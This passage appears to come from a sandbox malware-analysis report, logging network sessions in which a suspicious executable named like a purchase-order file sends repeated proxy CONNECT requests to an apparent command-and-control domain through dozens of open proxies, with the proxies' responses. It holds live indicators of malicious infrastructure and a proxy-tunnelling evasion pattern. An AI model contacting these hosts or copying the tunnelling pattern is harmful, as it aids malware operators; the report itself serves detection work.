Mar 11, 2024 16:42:18.589526892 CET	356	IN	HTTP/1.0 502 Bad Gateway Server: Zscaler/6.3 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 4e 53 20 65 72 72 6f 72 3c 2f 68 31 3e 0d 0a 3c 70 3e 44 4e 53 20 65 72 72 6f 72 20 28 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 29 3c 62 72 3e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 73 70 65 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 21 2d 2d 5a 73 63 61 6c 65 72 2f 36 2e 33 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h1>DNS error</h1><p>DNS error (the host name of the page you are looking for does not exist)<br><br>Please check that the host name has been spelled correctly.<br></p>...Zscaler/6.3--></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.11	49824	15.236.106.236	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.340317011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.637414932 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:18 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.11	49858	184.170.249.65	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.347098112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.11	49852	174.64.199.82	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.354599953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.11	49831	58.234.116.197	8197	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.372759104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.11	49921	104.16.105.106	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.401139021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.555275917 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.11	50012	43.153.52.155	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.415887117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.11	49814	103.190.54.141	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.428189993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.11	49877	160.16.90.35	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.441580057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.963219881 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.11	49848	1.194.236.229	5005	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.441822052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.157224894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.691210032 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.11	49904	50.233.111.162	32100	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.442765951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.11	49943	104.16.106.65	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.445518017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.599776983 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.11	49830	220.248.70.237	9002	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.460011959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.250354052 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.11	49871	51.75.126.150	34144	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.463244915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.126024961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.079157114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.046967030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.887481928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.829653978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.11	49876	1.15.62.12	5678	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.474241972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.11	49867	212.108.145.195	9090	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.499042034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.11	49974	104.18.20.160	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.505959034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.660123110 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.11	50063	91.231.186.133	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.506614923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.11	49857	103.168.164.94	83	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.507540941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.963587046 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.11	49882	123.30.154.171	7777	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.537851095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.909951925 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.10.3 (Ubuntu) Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.10.3 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.11	49905	65.109.152.88	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.553369045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.679246902 CET	295	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Mon, 11 Mar 2024 15:42:28 GMT Content-Length: 127 Data Raw: 64 69 61 6c 20 74 63 70 3a 20 6c 6f 6f 6b 75 70 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 6f 6e 20 31 2e 31 2e 31 2e 31 3a 35 33 3a 20 72 65 61 64 20 75 64 70 20 31 30 2e 36 34 2e 32 33 38 2e 32 31 36 3a 34 38 31 35 31 2d 3e 31 2e 31 2e 31 2e 31 3a 35 33 3a 20 69 2f 6f 20 74 69 6d 65 6f 75 74 0a Data Ascii: dial tcp: lookup heygirlisheeverythingyouwantedinaman.com on 1.1.1.1:53: read udp 10.64.238.216:48151->1.1.1.1:53: i/o timeout

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.11	49973	142.54.229.249	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.554047108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.11	50002	172.67.181.197	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.555433989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.712809086 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.11	49930	211.222.252.187	8193	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.564136982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.11	49961	162.243.102.207	9764	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.564424038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.11	50006	104.27.15.161	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.564424038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.718924999 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.11	49912	39.105.5.126	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.572840929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.11	50142	43.157.32.4	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.580773115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.11	50016	162.159.242.138	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

